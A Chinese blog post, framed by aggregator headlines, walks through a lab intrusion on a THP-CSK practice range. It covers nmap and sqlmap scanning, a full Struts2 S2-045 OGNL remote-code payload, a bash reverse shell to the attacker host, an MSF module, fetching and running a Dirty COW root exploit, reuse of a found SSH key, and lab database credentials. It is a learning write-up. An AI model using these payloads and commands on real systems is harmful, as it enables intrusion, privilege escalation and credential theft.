惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

B
Blog
V
Vulnerabilities – Threatpost
Apple Machine Learning Research
Apple Machine Learning Research
V
V2EX
博客园 - 叶小钗
阮一峰的网络日志
阮一峰的网络日志
人人都是产品经理
人人都是产品经理
Latest news
Latest news
博客园 - 三生石上(FineUI控件)
美团技术团队
aimingoo的专栏
aimingoo的专栏
Google Online Security Blog
Google Online Security Blog
Security Archives - TechRepublic
Security Archives - TechRepublic
T
Threatpost
Y
Y Combinator Blog
T
Tailwind CSS Blog
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
A
Arctic Wolf
C
Cyber Attacks, Cyber Crime and Cyber Security
小众软件
小众软件
Recent Commits to openclaw:main
Recent Commits to openclaw:main
T
Tenable Blog
W
WeLiveSecurity
L
LINUX DO - 热门话题
D
Docker
Cyberwarzone
Cyberwarzone
量子位
A
About on SuperTechFans
The Last Watchdog
The Last Watchdog
雷峰网
雷峰网
C
CERT Recently Published Vulnerability Notes
P
Palo Alto Networks Blog
The Hacker News
The Hacker News
Blog — PlanetScale
Blog — PlanetScale
P
Proofpoint News Feed
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
F
Full Disclosure
The Cloudflare Blog
T
The Blog of Author Tim Ferriss
T
The Exploit Database - CXSecurity.com
Engineering at Meta
Engineering at Meta
O
OpenAI News
Hacker News - Newest:
Hacker News - Newest: "LLM"
Scott Helme
Scott Helme
IT之家
IT之家
S
Secure Thoughts
MongoDB | Blog
MongoDB | Blog
L
Lohrmann on Cybersecurity
博客园 - 司徒正美
Google DeepMind News
Google DeepMind News

博客园_首页

Plist 二进制格式 Milvus 和 PGVector,哪个更好? OpenClaw 已过时?在 VS Code 中运行 Hermes Agent! 第30篇文章:一个大三计科生的自白 Manim如何在数学公式中完美显示中文? Docker 部署 RocketMQ 5 并发编程核心概念辨析 C#事务处理最佳实践:别再让“主表存了、明细丢了”的破事发生 CLI 是什么?为什么大厂突然集体卷命令行? 【从0到1构建一个ClaudeAgent】协作-自主Agent UIImageView 设置图片不生效的原因排查 最小二乘问题详解20:无先验约束下的增量式SFM自由网平差 痞子衡嵌入式:大话双核i.MXRT1180之XIP应用里借助MU实现可靠Flash IAP的方法 AI Chat 封装, SemanticKerne.AiProvider.Unified 已发布 Windows下右键编辑js文件无法打开记事本——在注册表中使用环境变量 在后台服务中使用 Scoped 服务,为什么总是报错? H200 安装驱动并使用sglang启动模型 wireshark 抓包Trap上报告警内容 我用 AI 辅助开发了一系列小工具(2):图片压缩工具 [A Primer On MC and CC] 2.1 Memory Consistency 1 - 指令重排序和 SC 模型 Oracle数据库SCN推进技术详解与实践指南 玩转控件:封装个带图片的Label控件 Claude Code 4.7 真正该升级的不是模型,而是你的工作流 前端小白一句话,AI 帮我做了个颜值拉满的桌面媒体播放器。当代码不再是门槛,一句话编程就是现实。 5. WorkBuddy: 小龙虾的灵魂三件套,让你的小龙虾不只是工具 SQLite 分片方案实战:三种分片策略的深度对比 告别简陋 UI!一款基于 Fluent Design 和基于 WinUI 的开源免费、现代化的 Avalonia UI 控件库 关于二进制排列组合枚举的总结 AI开发-python-LangGraph框架(3-27-LangGraph从零实现大模型智能决策工作流) ElasticSearch主分片和副本分片概念详解 【002】HTTPS 粗解:证书、TLS 握手与对后端配置的影响 Hermes Agent 一周暴涨五万 Star,但我劝你别急着追 明明连接的是Redis的DB0,为什么能查到DB3的数据? 【从0到1构建一个ClaudeAgent】协作-Agent团队 熟悉电子元器件之后,电子小白下一步该怎么走? MAF快速入门(23)通过C#类定义Skills .NET 高级开发 | 手写一个对象映射框架 FastAPI数据库ORM怎么选?我肝了三个Demo后,终于不再纠结了 mysqldump 参数拾遗:在遗忘与铭记之间 C# .NET 周刊|2026年3月5期 Claude code入门 - 陈彦斌 一文学习入门 ThingsBoard 开源物联网平台 GitHub 热门项目 | 2026年04月16日 如何为GIT设置全局勾子,为每次提交追加信息 Number.isFinite和isFinite与isNaN()和Number.isNaN的区别 PortSwigger SQL注入LAB2 推荐一个测试人必备的Skills,从功能到性能全搞定(附详细实操和安装下载方式) 筑基期:掌握Odoo基础核心知识点02(Odoo XML 开发方式详解) GLM模型这么火,咱们用vllm也咧一个呗! 深入理解 AbortController:从底层原理到跨语言设计哲学 字符串学习笔记 多租户系统框架的基础模块设计和分析设计 Apache SeaTunnel Zeta 为什么能做到“又快又稳”? AI开发-python-LangGraph框架(3-26-LangGraph基本概念及第一个简单样例) Vue 3 组件通信,别只会用 Props 和 Emits 了,这几个狠活儿你得看看 ElasticSearch7.X版本配置密码 用Manim实现动态交点计算--从一个动点问题说起 团结引擎+Addressable+Instant Game打包抖音小游戏 function call 实战:让 LLM 自动判断 pod 异常、调用日志工具并完成故障分析 bubseek —— 让 Agent 的足迹,变成团队的洞察 通过 C# 读取并导出 PDF 书签 如何用 GitHub Actions 实现 Steam 自动化发布 【从0到1构建一个ClaudeAgent】并发-后台任务 .NET 高级开发 | 定制 ASP.NET Core 框架 电子小白:什么是运算放大器(运放) zero2Agent:面向大厂面试的 Agent 工程教程,从概念到生产的完整学习路线 堆上的ORW HC32F460 USB CDC通信异常:非对齐访问异常排查 20260413-Hyperbridge 攻击事件:发生在默克尔山上的验证绕过 那些喊着AI 要淘汰你的人,正在靠你的焦虑赚大钱! 深度学习进阶(八)Swin Transformer 最小二乘问题详解19:带先验约束的增量式SFM优化与实现 SnapTranslate 3.0 正式发布:全局划词翻译 + 完整英语学习闭环,一站式搞定查词、记词、复习 工作的意义、工作的困难认知再思考 .NET + AI 进阶实战:基于类的技能开发 - 打造可治理的 Agent 能力模块 【从0到1构建一个ClaudeAgent】规划与协调-技能 上周热点回顾(4.6-4.12) 电子小白的工具三件套:面包板、杜邦线、万能板 单表五亿数据的查询优化 | Mysql、StarRocks 2. WorkBuddy:从“我是谁”到“帮我干活” C# 如何减少代码运行时间:7 个实战技巧 基于HelixToolkit.SharpDX 渲染3D模型 - 笺上知微 从零开始的双臂具身VLA起源及现阶段发展综述 - SkyXZ 记对 xonsh shell 的使用, 脚本编写, 迁移及调优 - pluvium27 受够了Vibe Coding的失控?换个起点,让AI事半功倍 从开始配置漏洞环境到漏洞复现流程 - 難しい 关于10年工作经验的程序员对OpenClaw的实战经验分享以及看法 - 虚无境 Any metadata 的内存布局 C# .NET 周刊|2026年3月2期 - InCerry 我帮你测过了,测试圈排名第二的 Skill 依然很牛逼 Skill Discovery | 无监督技能发现的经典工作总结 - MoonOut 上下文工程是什么?过时了么?一文讲明白! - 一枫说码 开了 TUN 模式还是直连?90% 的人都踩过这个坑 AScript扩展多种脚本语言 - rockey627 AI 学习笔记:Agent 的记忆机制 你能被装进一个文件里吗?——7 万人把同事"蒸馏"成了 AI - 我没有三颗心脏 Claude Code 通关手册(七):给 AI 装上技能包——Skills 完全指南 - 暮色之狐 在浏览器中快速编辑代码:VSCode Web 集成实践 - Newbe36524 蒸馏自己 skill?基于 Deepseek 的蒸馏器,丐版蒸馏方式,简单便捷 - To_Carpe_Diem Spring AI Aliababa和AgentScope,哪个更好? - 苏三说技术
THP-CSK靶场--内网横向移动(一)
ShoreKiten · 2026-05-09 · via 博客园_首页

前言:因为是第一次打多台机器,所以每个步骤都会有详细记录,放在一篇写的话篇幅很大,因此就分开写,具体写几篇的话看总共的字数,可能分两篇或者三篇。最开始的环境搭建写过了所以这里就不再赘述。


网段基础服务探测

nmap在不加任何参数下可用于快速摸清网段基础服务的场景,如果是日常渗透或者巡检的话需要带上相应参数以便加快探测速度:

nmap 172.16.250.0/24

image

这里可以看到.10开放了http服务,那么这里就是作为入口机存在,可以对该ip进行更加详细的探测:

image

这里面有一个之前从来没有碰到过的8009,查了一下资料:

Apache JServ 协议(AJP)服务端口:
AJP(Apache JServ Protocol) 是 Apache HTTP Server 和 Tomcat(或其他 Java 应用容器)之间通信用的二进制协议,比 HTTP 转发效率更高。
典型架构如下:
客户端 → Apache (80/443) → AJP (8009) → Tomcat (8080)


web端口打点

正常打点web端口,先看80的,插件看了一眼没有啥东西

image

下面有一个登录功能跳转到登录口,显示了OpenCMS 10.5.3,然后同时页面直接给了默认的账户密码均为admin,尝试登录未果,弱口令没有,尝试SQL注入也未找到可能的注入点,但是在URL里看到的是这样的
http://172.16.250.10/kittens/login/index.html?requestedResource=&name=admin&password=admin123&action=login

那么尝试register,抓个数据包看看:

image

没啥反应,而且前面的路由也是/login,再试试递归扫描:

dirsearch -u http://172.16.250.10/kittens/ -r -R 3 --recursion-status 200-399

这里我的是新版的dirsearch,如果报错的话更新一下就行

在扫描的过程中出现的一个问题是有些路径扫出来是200,但实际访问的时候却是500,可能的原因是dirsearch命中了路由。

这个网站可能配置了伪静态或 MVC 框架,访问任何看起来合理的路径,都会返回一个“友好”的错误页面或路由兜底页,但这个页面本身是 200 OK,但dirsearch 没法区分这是真实文件还是兜底路由。

后面换了无影扫了一遍结果也差不多,那么这里的敏感路径大概率不存在了

再sqlmap再尝试跑一遍

sqlmap -u "http://172.16.250.10/kittens/login/index.html?requestedResource=&name=admin&password=admin&action=login" --level=5 --risk=3 --threads=10 --batch --dump-all

没跑出来东西,最后看看Opencms的漏洞,找了一下大多数是CSRF,XSS和XXE,但是有一个提到了Structs2漏洞,而刚好这台入口机的名字也正是Struct2,那么就说明可能当时我们扫目录的时候没关注的根目录就是突破口,重新再扫一遍【用无影扫】后发现了这么三个:

http://172.16.250.10/struts2-showcase/showcase.action

http://172.16.250.10/struts2-showcase/modelDriven/modelDriven.action

http://172.16.250.10/struts2-showcase/fileupload/upload.action

φ(゜▽゜*)♪


获取shell

看了一下URL第一想到的是文件上传的那个,先尝试传一个木马文件,但是后缀给改掉了:

image

不知道怎么下手,网上找struct2的漏洞有很多,得先知道具体的版本号,这个在config browser中可以找到为2.3.12

image

这里可以利用Struts2 S2-045 远程代码执行漏洞

漏洞的根本原因是由于在处理 Content-Type HTTP 请求头中的 multipart/form-data 类型时,Struts 2 使用了一个不安全的方式来解析上传文件的数据。当请求中包含恶意构造的 Content-Type 头部字段时,攻击者可以注入 OGNL (Object-Graph Navigation Language) 表达式,这些表达式会在服务器端被解释并执行,构造的payload如下:

Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

感兴趣的话可以看看下面的解释:

#nike='multipart/form-data'
// ↑ 声明这是一个 multipart 请求,骗 Struts2 进入文件上传解析流程

#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
// ↑ 获取 OGNL 的默认无限制访问权限对象

#_memberAccess ? (#_memberAccess=#dm) : (
// ↑ 三元判断:_memberAccess 已存在就直接赋值,否则执行后面括号里的绕过流程

    #container=#context['com.opensymphony.xwork2.ActionContext.container']
    // ↑ 从上下文拿 Struts2 的依赖注入容器

    #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)
    // ↑ 从容器里取出 OgnlUtil 单例(管理 OGNL 黑名单的工具类)

    #ognlUtil.getExcludedPackageNames().clear()
    // ↑ 清空禁止访问的包名黑名单(如 java.lang.ProcessBuilder)

    #ognlUtil.getExcludedClasses().clear()
    // ↑ 清空禁止访问的类名黑名单

    #context.setMemberAccess(#dm)
    // ↑ 把当前上下文设为无限制访问权限
)
// ↑ 沙箱绕过完成,现在可以调用任意危险类

#cmd='id'
// ↑ 要执行的系统命令,改这里就行

#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))
// ↑ 判断是不是 Windows 系统

#cmds=(#iswin ? {'cmd.exe','/c',#cmd} : {'/bin/bash','-c',#cmd})
// ↑ 根据系统拼出不同的命令数组

#p=new java.lang.ProcessBuilder(#cmds)
// ↑ 创建进程构建器

#p.redirectErrorStream(true)
// ↑ 把 stderr 合并到 stdout,防止错误信息丢失

#process=#p.start()
// ↑ 启动进程,执行命令

#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())
// ↑ 拿到 HTTP 响应的输出流

@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)
// ↑ 把命令执行结果拷贝到 HTTP 响应里

#ros.flush()
// ↑ 刷新输出流,确保结果返回给客户端

这里我们上传一个正常的文件,然后填一下需要的caption并抓包,然后直接修改content-type就行

image

然后修改命令就是在图中框出来的部分,这里可以直接bash反弹:

bash -i >& /dev/tcp/172.16.250.128/4444 0>&1

如果想要简单一点的话可以直接上MSF,选择CVE-2017-5638,再配个设置【靶机为linux】这里就不具体演示了

set payload linux/x86/meterpreter/reverse_tcp
set RHOSTS 172.16.250.10
set RPORT 80
run

入口机提权

这里面装的还是python3,所以得加个数字:

python3 -c 'import pty;pty.spawn("/bin/bash")'

image

sudo需要密码,然后SUID没啥东西,再看一下内核为4.4.0网上找找为脏牛提权,这里是64位的用到的是40616,具体地址戳这里 因为这里不是重点而且打到这台机器的师傅脏牛提权大概率已经接触过一两次了所以就不细讲了:

wget http://172.16.250.128:8000/40616.c

gcc 40616.c -o cowroot -pthread

./cowroot

image

成功提权,但是有一个问题是获得的root不稳定,过一会儿就崩,所以需要一些命令在利用漏洞进行激烈的竞争条件攻击后,最大限度地保证系统的稳定性,防止内核崩溃导致你刚获得的权限瞬间丢失

echo 0 > /proc/sys/vm/dirty_writeback_centisecs
echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn

拓展立足点

拿到root之后首先去root目录看一眼,在bash_history中找到了ssh登录另一台机器的痕迹:
ssh -i .ssh/id_rsa root@172.16.250.30

并且可以找到ssh私钥文件,但不知道为啥我的root还是不稳:

image

难不成还得用MSF搞个shell?

后面发现MSF的确实稳,难怪好多walkthrough都直接用的这个hhh

把私钥文件复制到本地后尝试登录:

image

这个错误是因为 私钥文件权限太开放了。SSH 为了安全,要求私钥只能被所有者读写,不能被其他用户(或组)访问,所以得更改下权限

chmod 600 id_rsa

再次运行成功登录到jenkins

image

其实这里有个问题就是在入口机中我是直接找/root目录下有用的东西了,没有再去翻其他的,但肯定是信息知道的越多越好,所以还得再去看别的,别的师傅写的walkthrough里面是直接给了一个命令:

cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties

一个个拆分一下:

/opt/tomcat/ → 说明用的是 Tomcat,安装在 /opt 目录(手动安装的,不是 apt/yum)

webapps/ → Tomcat 的默认应用部署目录

kittens/ → 应用名称

WEB-INF/ → Java Web 应用的标准安全目录(不能直接浏览器访问)

opencms.properties → OpenCMS 框架的配置文件

然后我就很疑惑为啥直接就一个cat命令甩出来了,后面才了解到之前的打点做的正是这些:

在web端我们能发现网页为opencms并且运行tomcat容器中,我们需要找的是opencms核心配置文件,而默认的文件名便是opencms.properties ,在文件中有数据库连接配置,账户密码等关键信息

OpenCMS配置文件的默认路径固定在WEB-INF/config/文件夹下

文件/目录 默认路径 (相对于 WEB-INF) 说明
主配置文件夹 /WEB-INF/config/ 存放所有核心配置文件的根目录。
核心属性文件 /WEB-INF/config/opencms.properties 数据库连接、系统设置等关键配置。
主XML配置 /WEB-INF/config/opencms.xml 引入其他配置文件的顶层配置。
静态导出配置 /WEB-INF/config/opencms-importexport.xml 控制页面静态化和导入导出功能。

然后OpenCms 是基于 Java 技术开发的,它需要在一个符合 Servlet/JSP 规范的 Web 容器中才能运行,在这里Tomcat就是作为OpenCMS搭建的载体,相当于操作系统和软件 下面的安装顺序也说明了这一点:

  1. 安装 JDK(Java 开发环境,不能用 JRE)

  2. 安装 Tomcat(配置 CATALINA_HOME 环境变量)

  3. 部署 OpenCms:将 opencms.war 文件复制到 Tomcat 的 webapps/ 目录下

  4. Tomcat 会自动解压 war 包,然后通过浏览器访问 /setup 路径完成 OpenCms 的安装配置

所以再倒推到Tomcat的安装路径:/opt/tomcat 子目录如下

子目录 主要内容和用途
webapps/ 应用部署目录。存放具体的 Web 应用(如 opencms.war),OpenCms 这类 Java 网站就部署在这里。
conf/ 配置文件目录。存放 Tomcat 自身的全局配置,如 server.xml(配置端口、主机)和 context.xml
logs/ 日志目录。记录 Tomcat 运行、应用报错、访问请求等信息,审计和排查时很有价值。
bin/ 启动脚本目录。存放启动 (startup.sh) 和关闭 (shutdown.sh) Tomcat 服务的脚本。

那么最后我们便能得出这个路径是怎么来的了 o( ̄▽ ̄)ブ

/opt/tomcat/webapps/[应用名]/WEB-INF/config/

image

从图中就能看出找到了又一个.50的ip,开放端口为3306,账户store,密码WTWOIUEfjSLeij 【看着就像加密过的】


总结

然后后面的内容才是这次多机的实际价值所在,因此分两篇来写,希望这篇文章能够带给看到这里的师傅们新的帮助和想法★,°:.☆( ̄▽ ̄)/$:.°★